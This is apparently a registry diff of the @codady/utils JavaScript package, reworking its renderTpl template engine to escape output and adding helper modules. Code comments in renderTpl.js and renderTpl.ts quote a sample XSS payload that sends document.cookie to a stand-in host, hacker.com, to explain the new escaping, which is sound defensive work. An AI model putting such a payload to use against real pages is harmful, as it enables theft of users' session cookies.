@codady/utils 0.0.36 → 0.0.38
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +36 -1
- package/dist/utils.cjs.js +191 -18
- package/dist/utils.cjs.min.js +3 -3
- package/dist/utils.esm.js +191 -18
- package/dist/utils.esm.min.js +3 -3
- package/dist/utils.umd.js +191 -18
- package/dist/utils.umd.min.js +3 -3
- package/dist.zip +0 -0
- package/examples/escapeHTML.html +140 -0
- package/examples/renderTpl.html +272 -0
- package/modules.js +13 -1
- package/modules.ts +12 -1
- package/package.json +1 -1
- package/src/comma - /345/211/257/346/234/254.js" +2 -0
- package/src/decodeHtmlEntities.js +25 -0
- package/src/decodeHtmlEntities.ts +26 -0
- package/src/escapeCharsMaps.js +73 -0
- package/src/escapeCharsMaps.ts +74 -0
- package/src/escapeHTML.js +23 -25
- package/src/escapeHTML.ts +29 -25
- package/src/escapeRegexMaps.js +19 -0
- package/src/escapeRegexMaps.ts +26 -0
- package/src/renderTpl.js +37 -14
- package/src/renderTpl.ts +38 -18
- package/src/renderTpt.js +73 -0
- package/src/toSingleLine.js +9 -0
- package/src/toSingleLine.ts +9 -0
- package/src/trimEmptyLines.js +1 -0
- package/src/trimEmptyLines.ts +1 -0
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:07:17
|
|
3
|
+
* @function escapeRegexMaps
|
|
4
|
+
* Generates a set of regular expressions that match the characters to be escaped
|
|
5
|
+
* in different contexts such as HTML content, attributes, and URIs.
|
|
6
|
+
*
|
|
7
|
+
* This function uses the `escapeCharsMaps` object to create regular expressions for
|
|
8
|
+
* matching characters that need to be escaped based on the context.
|
|
9
|
+
*
|
|
10
|
+
*/
|
|
11
|
+
import escapeCharsMaps from "./escapeCharsMaps";
|
|
12
|
+
const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
|
|
13
|
+
const chars = Object.keys(escapeCharsMaps[key]);
|
|
14
|
+
// Escape special regex characters to avoid issues in the regex. [ => \[
|
|
15
|
+
const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
|
|
16
|
+
acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
|
|
17
|
+
return acc;
|
|
18
|
+
}, {});
|
|
19
|
+
export default escapeRegexMaps;
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
|
|
2
|
+
|
|
3
|
+
/**
|
|
4
|
+
* @since Last modified: 2026/01/16 11:07:17
|
|
5
|
+
* @function escapeRegexMaps
|
|
6
|
+
* Generates a set of regular expressions that match the characters to be escaped
|
|
7
|
+
* in different contexts such as HTML content, attributes, and URIs.
|
|
8
|
+
*
|
|
9
|
+
* This function uses the `escapeCharsMaps` object to create regular expressions for
|
|
10
|
+
* matching characters that need to be escaped based on the context.
|
|
11
|
+
*
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
import escapeCharsMaps from "./escapeCharsMaps";
|
|
15
|
+
|
|
16
|
+
const escapeRegexMaps: Record<string, RegExp> = (Object.keys(escapeCharsMaps)).reduce(
|
|
17
|
+
(acc, key) => {
|
|
18
|
+
const chars = Object.keys(escapeCharsMaps[key]);
|
|
19
|
+
// Escape special regex characters to avoid issues in the regex. [ => \[
|
|
20
|
+
const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
|
|
21
|
+
acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
|
|
22
|
+
return acc;
|
|
23
|
+
},
|
|
24
|
+
{} as Record<string, RegExp>
|
|
25
|
+
);
|
|
26
|
+
export default escapeRegexMaps;
|
package/src/renderTpl.js
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/16 15:11:15
|
|
3
3
|
* @function renderTpl
|
|
4
4
|
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
5
|
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
6
|
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
7
|
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
-
* @param {boolean} [options.
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
9
|
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
10
|
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
11
|
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
@@ -13,8 +13,10 @@
|
|
|
13
13
|
* @returns {string} - The string after the variables are replaced with data.
|
|
14
14
|
*/
|
|
15
15
|
'use strict';
|
|
16
|
-
import
|
|
16
|
+
import escapeHTML from "./escapeHTML";
|
|
17
|
+
import getUniqueId from "./getUniqueId";
|
|
17
18
|
import requireTypes from "./requireTypes";
|
|
19
|
+
import toSingleLine from "./toSingleLine";
|
|
18
20
|
const renderTpl = (html, data, options = {}) => {
|
|
19
21
|
requireTypes(html, 'string', (error) => {
|
|
20
22
|
//不符合要求的类型
|
|
@@ -33,33 +35,54 @@ const renderTpl = (html, data, options = {}) => {
|
|
|
33
35
|
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
34
36
|
return html;
|
|
35
37
|
}
|
|
36
|
-
let opts = Object.assign({
|
|
38
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
37
39
|
//regStart='\\{\\{'
|
|
38
40
|
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
39
41
|
//regEnd='\\}\\}'
|
|
40
|
-
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
41
|
-
|
|
42
|
-
|
|
42
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
|
|
43
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
44
|
+
escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
|
|
45
|
+
if (isScript) {
|
|
46
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
47
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
48
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
49
|
+
}
|
|
50
|
+
else {
|
|
51
|
+
//处理表达式类(如 {{ name }} )
|
|
52
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
53
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
54
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
else {
|
|
58
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
59
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
60
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
61
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
62
|
+
}
|
|
43
63
|
return add;
|
|
44
64
|
};
|
|
45
|
-
while (match = tplReg.exec(
|
|
46
|
-
add(
|
|
65
|
+
while (match = tplReg.exec(html)) {
|
|
66
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
47
67
|
cursor = match.index + match[0].length;
|
|
48
68
|
}
|
|
49
|
-
add(
|
|
69
|
+
add(html.slice(cursor));
|
|
50
70
|
code += `return str.join('');`;
|
|
71
|
+
//一行行化代码
|
|
72
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
73
|
+
code = toSingleLine(code);
|
|
51
74
|
try {
|
|
52
75
|
if (opts.strict || dataType === 'Array') {
|
|
53
76
|
//严格模式,或者是数组数据,则必须使用this
|
|
54
|
-
result = new Function(
|
|
77
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
55
78
|
}
|
|
56
79
|
else {
|
|
57
80
|
////非严格模式,且是对象,则可省略this
|
|
58
81
|
let keys = Object.keys(data), values = Object.values(data),
|
|
59
|
-
//keys
|
|
60
|
-
tmp = new Function(...keys,
|
|
82
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
83
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
61
84
|
//执行时以value赋值
|
|
62
|
-
result = tmp(...values);
|
|
85
|
+
result = tmp(...values, escapeHTML);
|
|
63
86
|
}
|
|
64
87
|
}
|
|
65
88
|
catch (err) {
|
package/src/renderTpl.ts
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
/**
|
|
2
|
-
* @since Last modified:
|
|
2
|
+
* @since Last modified: 2026/01/16 15:11:15
|
|
3
3
|
* @function renderTpl
|
|
4
4
|
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
5
|
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
6
|
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
7
|
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
-
* @param {boolean} [options.
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
9
|
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
10
|
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
11
|
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
@@ -14,14 +14,16 @@
|
|
|
14
14
|
*/
|
|
15
15
|
'use strict';
|
|
16
16
|
import { T_obj } from "../types/utils";
|
|
17
|
-
import {
|
|
17
|
+
import escapeHTML, { EscapeStrength } from "./escapeHTML";
|
|
18
|
+
import getUniqueId from "./getUniqueId";
|
|
18
19
|
import requireTypes from "./requireTypes";
|
|
20
|
+
import toSingleLine from "./toSingleLine";
|
|
19
21
|
type options = {
|
|
20
|
-
|
|
22
|
+
escape?: EscapeStrength,
|
|
21
23
|
strict?: boolean,
|
|
22
|
-
start?:string,
|
|
23
|
-
end?:string,
|
|
24
|
-
suffix?:string,
|
|
24
|
+
start?: string,
|
|
25
|
+
end?: string,
|
|
26
|
+
suffix?: string,
|
|
25
27
|
}
|
|
26
28
|
const renderTpl = (html: string, data: T_obj | any[], options: options = {}): string => {
|
|
27
29
|
requireTypes(html, 'string', (error) => {
|
|
@@ -43,8 +45,7 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
|
|
|
43
45
|
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
44
46
|
return html;
|
|
45
47
|
}
|
|
46
|
-
let opts = Object.assign({
|
|
47
|
-
tplStr = opts.safe ? escapeHTML(html) : html,
|
|
48
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
|
|
48
49
|
//regStart='\\{\\{'
|
|
49
50
|
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
50
51
|
//regEnd='\\}\\}'
|
|
@@ -54,29 +55,48 @@ const renderTpl = (html: string, data: T_obj | any[], options: options = {}): st
|
|
|
54
55
|
cursor = 0,
|
|
55
56
|
match: any,
|
|
56
57
|
result = '',
|
|
58
|
+
//代替escapeHTML的方法,在字符串内部的映射,确保不会重名
|
|
59
|
+
escapeName = `__esc__${getUniqueId()}`,
|
|
57
60
|
add = (fragment: string, isScript?: boolean) => {
|
|
58
|
-
|
|
59
|
-
|
|
61
|
+
if (isScript) {
|
|
62
|
+
//处理语句类(如 {{ if(x) /}} )
|
|
63
|
+
if (fragment.endsWith(opts.suffix)) {
|
|
64
|
+
code += (fragment.slice(0, -opts.suffix.length) + '\n');
|
|
65
|
+
} else {
|
|
66
|
+
//处理表达式类(如 {{ name }} )
|
|
67
|
+
//需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
|
|
68
|
+
//虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
|
|
69
|
+
code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
|
|
70
|
+
}
|
|
71
|
+
} else {
|
|
72
|
+
//fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
|
|
73
|
+
//js语句不能直接文本换行,所以也需要转意换行符
|
|
74
|
+
//换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
|
|
75
|
+
code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
|
|
76
|
+
}
|
|
60
77
|
return add;
|
|
61
78
|
}
|
|
62
|
-
while (match = tplReg.exec(
|
|
63
|
-
add(
|
|
79
|
+
while (match = tplReg.exec(html)) {
|
|
80
|
+
add(html.slice(cursor, match.index))(match[1], true);
|
|
64
81
|
cursor = match.index + match[0].length;
|
|
65
82
|
}
|
|
66
|
-
add(
|
|
83
|
+
add(html.slice(cursor));
|
|
67
84
|
code += `return str.join('');`;
|
|
85
|
+
//一行行化代码
|
|
86
|
+
//如果文本"XXX (换行)",js执行会报错,所以需要清理换行
|
|
87
|
+
code = toSingleLine(code);
|
|
68
88
|
try {
|
|
69
89
|
if (opts.strict || dataType === 'Array') {
|
|
70
90
|
//严格模式,或者是数组数据,则必须使用this
|
|
71
|
-
result = new Function(
|
|
91
|
+
result = new Function(escapeName, code).apply(data, [escapeHTML]);
|
|
72
92
|
} else {
|
|
73
93
|
////非严格模式,且是对象,则可省略this
|
|
74
94
|
let keys = Object.keys(data),
|
|
75
95
|
values = Object.values(data),
|
|
76
|
-
//keys
|
|
77
|
-
tmp = new Function(...keys,
|
|
96
|
+
//keys传参,可直接以key为值,this依然可指向data
|
|
97
|
+
tmp = new Function(...keys, escapeName, code).bind(data);
|
|
78
98
|
//执行时以value赋值
|
|
79
|
-
result = tmp(...values);
|
|
99
|
+
result = tmp(...values, escapeHTML);
|
|
80
100
|
}
|
|
81
101
|
} catch (err: any) {
|
|
82
102
|
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
package/src/renderTpt.js
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:41:59
|
|
3
|
+
* @function renderTpl
|
|
4
|
+
* @description Get template string through parameters.Cut the template strings into fragments through labels, and put into the array through the PUSH method, and finally merge into a new string.
|
|
5
|
+
* @param {string} html - Text string with variables, for example: html=`I like {{this.name}}, she is {{this.age}} years old`.
|
|
6
|
+
* @param {object|array} data - Variable key-value pairs, for example: data={name:'Lily',age:20} or [{name:'Lily'},{name:'Mark'}].
|
|
7
|
+
* @param {Object} [options] - Configuration options to control the rendering behavior:
|
|
8
|
+
* @param {boolean} [options.escape=null] - If true, HTML special characters in the template will be escaped to prevent XSS attacks. Default is null.
|
|
9
|
+
* @param {boolean} [options.strict=false] - If true, the template engine will require using `this` to access properties, especially for arrays. Default is `false`.
|
|
10
|
+
* @param {string} [options.start='{{'] - The opening delimiter for template variables. Default is `{{`.
|
|
11
|
+
* @param {string} [options.end='}}'] - The closing delimiter for template variables. Default is `}}`.
|
|
12
|
+
* @param {string} [options.suffix='/'] - The suffix for ending script-like expressions. Default is `/`. This is used to close template expressions like `{{this.fn() /}}`.
|
|
13
|
+
* @returns {string} - The string after the variables are replaced with data.
|
|
14
|
+
*/
|
|
15
|
+
'use strict';
|
|
16
|
+
import escapeHTML from "./escapeHTML";
|
|
17
|
+
import requireTypes from "./requireTypes";
|
|
18
|
+
import toSingleLine from "./toSingleLine";
|
|
19
|
+
const renderTemplate = (html, data, options = {}) => {
|
|
20
|
+
requireTypes(html, 'string', (error) => {
|
|
21
|
+
//不符合要求的类型
|
|
22
|
+
console.error(error);
|
|
23
|
+
return '';
|
|
24
|
+
});
|
|
25
|
+
if (!html.trim())
|
|
26
|
+
return '';
|
|
27
|
+
let dataType = requireTypes(data, ['array', 'object'], (error) => {
|
|
28
|
+
//不符合要求的类型
|
|
29
|
+
console.error(error);
|
|
30
|
+
return html;
|
|
31
|
+
});
|
|
32
|
+
//data={}/[]
|
|
33
|
+
if (Object.keys(data).length === 0) {
|
|
34
|
+
console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
|
|
35
|
+
return html;
|
|
36
|
+
}
|
|
37
|
+
let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options), tplStr = opts.escape ? escapeHTML(html, opts.escape) : html,
|
|
38
|
+
//regStart='\\{\\{'
|
|
39
|
+
regStart = opts.start.split('').map(k => '\\' + k).join(''),
|
|
40
|
+
//regEnd='\\}\\}'
|
|
41
|
+
regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '', add = (fragment, isScript) => {
|
|
42
|
+
isScript ? (code += (fragment.endsWith(opts.suffix) ? fragment.replace('=>', '=>').slice(0, -1) + '\n' : 'str.push(' + fragment + ');\n'))
|
|
43
|
+
: (code += (fragment !== '' ? 'str.push("' + fragment.replace(/"/g, '\\"') + '");\n' : ''));
|
|
44
|
+
return add;
|
|
45
|
+
};
|
|
46
|
+
while (match = tplReg.exec(tplStr)) {
|
|
47
|
+
add(tplStr.slice(cursor, match.index))(match[1], true);
|
|
48
|
+
cursor = match.index + match[0].length;
|
|
49
|
+
}
|
|
50
|
+
add(tplStr.slice(cursor));
|
|
51
|
+
code += `return str.join('');`;
|
|
52
|
+
//一行行化代码
|
|
53
|
+
code = toSingleLine(code);
|
|
54
|
+
try {
|
|
55
|
+
if (opts.strict || dataType === 'Array') {
|
|
56
|
+
//严格模式,或者是数组数据,则必须使用this
|
|
57
|
+
result = new Function(code).apply(data);
|
|
58
|
+
}
|
|
59
|
+
else {
|
|
60
|
+
////非严格模式,且是对象,则可省略this
|
|
61
|
+
let keys = Object.keys(data), values = Object.values(data),
|
|
62
|
+
//keys传参,this依然可指向data
|
|
63
|
+
tmp = new Function(...keys, code).bind(data);
|
|
64
|
+
//执行时以value赋值
|
|
65
|
+
result = tmp(...values);
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
catch (err) {
|
|
69
|
+
console.error(`'${err.message}'`, ' in \n', code, '\n');
|
|
70
|
+
}
|
|
71
|
+
return result;
|
|
72
|
+
};
|
|
73
|
+
export default renderTemplate;
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:38:24
|
|
3
|
+
* Collapses a multi-line string into a single-line string.
|
|
4
|
+
*/
|
|
5
|
+
const toSingleLine = (str, collapseSpaces = false) => {
|
|
6
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
7
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
8
|
+
};
|
|
9
|
+
export default toSingleLine;
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @since Last modified: 2026/01/16 11:38:24
|
|
3
|
+
* Collapses a multi-line string into a single-line string.
|
|
4
|
+
*/
|
|
5
|
+
const toSingleLine = (str: string, collapseSpaces: boolean = false): string => {
|
|
6
|
+
const result = str.replace(/[\r\t\n]/g, '');
|
|
7
|
+
return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
|
|
8
|
+
};
|
|
9
|
+
export default toSingleLine;
|
package/src/trimEmptyLines.js
CHANGED
package/src/trimEmptyLines.ts
CHANGED